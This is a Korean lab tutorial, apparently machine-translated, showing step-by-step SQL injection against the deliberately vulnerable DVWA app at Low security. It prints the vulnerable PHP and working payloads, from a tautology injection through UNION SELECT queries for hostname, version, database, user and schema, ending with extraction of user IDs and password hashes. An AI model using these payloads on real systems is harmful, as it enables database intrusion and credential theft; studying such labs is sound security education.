DVWA에 SQL 주사기를 설치하여 DB 정보를 철저히 얻기

6872 단어 SQL 주입DVWA
SQL 주입을 통한 DB 정보 얻기
이번에는 저번 보도가 제작한 취약성 웹 애플리케이션 DVWA에 SQL 주입을 설치해 DB 정보를 철저히 뽑아내고 싶다(사용자의 비밀번호가 뽑힐 때까지).
학교 시대에 Rails가 웹 응용 프로그램(SQL문은 모형을 쓰지 않고 데이터를 잘 추출)을 개발하고 있기 때문에 PHP로 SQL문을 쓰면 이런 안전한 일도 반드시 배워야 한다고 생각합니다.
SQL 주입이란 무엇입니까?
SQL 주입에 대한 간단한 설명은 웹 애플리케이션의 의도 없는 SQL 문구를 작성해 DB 정보를 빼내는 공격 수법이다.
하나의 SQL 문서의 취약성 때문에 사용자의 비밀번호를 추출할 수 있기 때문에 이번에는 프로그래밍 초보자들이 해커의 심정으로 SQL 주석을 재현하도록 하려고 한다.
DVWA에 SQL 주입
이번에는 안전 등급을 낮출 것이다.
보안 수준 Low의 소스 코드 SQL 주입을 위한 페이지 코드는 다음과 같습니다. 뷰소스 버튼을 클릭해서 확인할 수 있기 때문에 어디에 취약성이 있는지 생각해 보겠습니다. <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?> 웹 응용 프로그램 사양에 대해 UserID 1~5를 입력하면 ID, First Name, Surname 등의 사양이 표시됩니다. SQL 문의 소스 코드 위에서 설명한 소스 코드의 SQL 문 관련 내용은 다음과 같습니다. if( isset( $_REQUEST[ 'Submit' ] ) ) $id = $_REQUEST[ 'id' ]; "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 대략적으로 설명하자면 등록 정보는 REQUEST 형식으로 배열형에 저장되고 이 id의 정보를 변수로 입력한다. 표시된 사용자 정보 추출 질문id 부분에 있습니다. 예를 들어, User ID의 검색 상자에 "OR a" = "a"를 입력합니다. 그러면 다음 SQL 문이 나타납니다. " SELECT first_name, last_name FROM users WHERE user_id = ' ' OR 'a' = 'a';"; 이렇게 하면 WHERE 문장이 항상 성립되어 모든 사용자 정보를 표시할 수 있다. 실제 입력은 다음과 같다. id번호가 표시된 사용자 정보를 예쁘게 입력하면 모두 추출할 수 있습니다. 사용자 암호 정보 추출 위의 SQL 주사기로 공격할 수 있다는 것을 깨달았기 때문에 다음에도 사용자의 비밀번호 정보를 뽑아보려고 한다. UNION 문 사용자의 암호 정보를 추출하기 위해 이번 SQL 입력에는 UNION 문이 사용됩니다. UNION 문을 사용하면 질의 결과로 SQL 문을 결합할 수 있습니다. 위에서 자유롭게 SQL 문장을 고칠 수 있는 코드 내에서 UNION 문장을 사용함으로써 새로운 SQL 문장을 자유롭게 쓸 수 있다는 것이다. 호스트 이름 가져오기 우선 호스트 이름을 얻습니다. 호스트 이름을 가져오려면 @hostname의 전역 변수 (데이터베이스 서버 설정 값) 를 사용하십시오. 따라서 다음 SQL 문서를 작성할 수 있습니다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@hostname';"; 다만, 이렇게 되면 두 가지 문제가 있다. 첫 번째는 @hostname 이후의 싱글 품질이 증가하여 문법 오류가 발생합니다. 나는 반드시 이것을 배제할 방법을 강구해야 한다. 그곳에서 사용할 수 있는 것은 평론 아웃이다. 주석은 @hostname 다음에 # 또는 --을 붙이고 그 다음에 기호나 SQL 문을 비활성화할 수 있습니다. 즉, 아래와 같다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@hostname #';"; 위의 물건과 동의하다 " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@hostname;"; 이렇게 하면 여분의 아이템 품질을 배제할 수 있습니다. 그러나 여기서 SQL 문을 실행하더라도 두 번째 문제, 즉 열 값이 다른 오류가 발생할 수 있습니다. The used SELECT statements have a different number of columns 이게 퍼스트예요.name, last_빈 칸에name의 열을 지정하면 해결할 수 있습니다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,@@hostname #';"; 검색 표시줄을 실제로 입력하면 다음과 같은 호스트 이름을 얻을 수 있습니다. 이렇게 되면 호스트 이름이 d63a605411de로 확인됩니다. DB 버전 정보 가져오기 다음에 처리할 수 있는 SQL 글 등을 알기 위해 DB의 버전 정보도 확보한다. SQL 문은 호스트 이름을 가져올 때와 같습니다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,@@version #';"; 실제로 검색창에 입력하면 이렇게 되는 느낌이에요. 이렇게 되면 DB의 버전이 마리아DB의 10.1.13인 것으로 확인됐다. DB 이름, 사용자 이름 가져오기 이어 DB명, 사용자 이름을 얻었다. 현재 연결된 DB 이름과 사용자 이름을 가져오려면 DATABASE()와 USER()를 통해 가져옵니다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT DATABASE(),USER() #';"; 실제로 입력하면 이런 느낌이 표시됩니다. 연결된 DB의 이름은 dvdwa이고 사용자 이름은admin@localhost확인되었습니다. DB에 연결된 테이블과 열 가져오기 그런 다음 DB에 연결된 테이블 정보를 제거합니다. 여기에 사용된 SQL 문구가 테이블의 정보를 얻을 수 있는 INFORMATION입니다.SCHEMA입니다. 실제 SQL 문은 다음과 같습니다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'dvwa' #';"; 먼저, UNION SELECT TABLENAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS에서 모든 테이블 이름과 열 이름을 가져옵니다. 다만 원하는 정보는 스카이마명(DB명)이 dvdwa였을 때SCHEMA='dvwa'#라는 조건을 더하다. 실제 입력하면 다음과 같다. 이렇게 하면 dvdwa의 DB의 표 이름은guestbook과users, 그리고 각 열의 이름에 대한 정보를 알 수 있다. 해당 테이블 열에서 사용자 암호 정보 가져오기 테이블 이름과 열 이름에서 정보를 추측할 수 없는 경우 하나하나 시도해야 하지만 이번users 테이블의password라는 열은 의심스럽습니다.userid와 함께 SQL 문서를 작성합니다. " SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT user_id,password FROM dvwa.users #';"; 실제로는 이렇게 드러났다. 이런 느낌으로 아이디와 비밀번호를 순조롭게 얻었다. 이번에 입수한 정보를 사용하면 DB를 삭제하거나 불법으로 접근할 수 있다. 시작은 취약한 SQL 문이기 때문에 무섭다. 나는 이런 취약한 코드의 해결 방법을 쓰지 않고 다른 기사로 쓰고 싶다. 참고 문헌 안전한 웹 애플리케이션 제작 방법 드완호 https://qiita.com/y-araki-qiita/items/131efa82c4205e83fef8
http://it-hack.net/2016/05/13/post-1496/
http://otndnld.oracle.co.jp/document/products/oracle10g/102/doc_cd/server.102/B19277-01/ch12.html

좋은 웹페이지 즐겨찾기